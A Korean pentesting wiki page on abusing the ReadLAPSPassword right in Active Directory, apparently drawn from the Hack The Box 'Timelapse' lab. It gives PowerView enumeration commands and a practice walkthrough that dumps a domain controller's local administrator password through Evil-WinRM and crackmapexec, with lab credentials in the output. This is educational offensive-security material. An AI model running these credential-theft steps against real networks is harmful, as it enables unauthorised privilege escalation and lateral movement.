펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. DACL

ReadLAPSPassword

PreviousReadGMSAPasswordNextForceChangePassword

Last updated 1 month ago

Was this helpful?

LAPS는 Local Administrator Password Solution으로 Microsoft에서 배포한 로컬 관리자 패스워드 솔루션입니다. 이 솔루션을 사용할 경우 도메인 내 각 머신에 있는 로컬 관리자 계정(RID 값이 500이거나 사용자 정의 계정)의 패스워드를 주기적으로 변경합니다. 솔루션을 도입 시 컴퓨터 객체에는 ms-Mcs-AdmPwd와 ms-Mcs-AdmPwdExpirationTime 두개의 속성이 추가됩니다. ms-Mcs-AdmPwd 는 LAPS 솔루션에 포함된 도메인 내 로컬 관리자 계정들에게 읽기 권한이 있으며, 이곳에서 모든 로컬 관리자 패스워드를 확인할 수 있습니다. 따라서 LAPS 관리자에 속하는 도메인 로컬 관리자 계정을 장악 시, 다른 로컬 관리자 계정으로 측면 이동이 가능합니다.

LAPS를 사용하는 객체만을 열거하기 위해 ms-Mcs-AdmPwdExpirationTime 속성이 null 값이 아닌 객체를 찾는 방법이 있습니다. 또한 ms-Mcs-AdmPwd 읽기 권한이 있는 객체를 열거하는 방법을 사용하여 로컬 관리자 권한을 획득하기 위해 어떤 객체를 타겟해야 할지 선정할 수 있습니다.

# ms-Mcs-AdmPwdExpirationTime 속성이 null이 아닌 객체 열거
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

# 각 컴퓨터 객체의 DACL을 읽어 ms-Mcs-AdmPwd 속성을 읽을 수 있는 객체를 열거
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

# 열거된 SID 주체 확인
ConvertFrom-SID <SID>

# 컴퓨터의 ms-Mcs-AdmPwd 속성 읽기
Get-DomainComputer -Identity <Machine> -Properties ms-Mcs-AdmPwd

Practice

*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name     LAPS_Readers
Comment

Members

-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.

획득한 쉘인 svc_deploy 사용자는 LAPS_Readers 그룹에 소속되어 있습니다. 현재 쉘에서 LAPS에서 관리하는 모든 관리자 계정에 대한 ms-Mcs-AdmPwd 값을 가져오는 명령은 다음과 같습니다.

*Evil-WinRM* PS C:\windows\temp> Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
                                            
                                            
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb                   
DNSHostName       : dc01.timelapse.htb      
Enabled           : True           
ms-Mcs-AdmPwd     : n((r2Ep}U@3&pw/v;1G%4SFr 
Name              : DC01              
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

이로써 로컬 관리자의 패스워드를 탈취했습니다.

만약 명령 프롬포트 환경을 갖지 못했다면 cme에서 제공하는 laps 모듈을 사용하여 LAPS에 저장된 패스워드 목록을 확인할 수 있습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
LAPS        10.10.11.152    389    DC01             Computer: DC01$                Password: n((r2Ep}U@3&pw/v;1G%4SFr

References

Windows LAPS overviewMicrosoftLearn
Logo
Microsoft LAPS: What is it and why you should be using itInfoSec Governance -
Configure Windows LAPS step by stepALI TAJRAN
Logo
Logo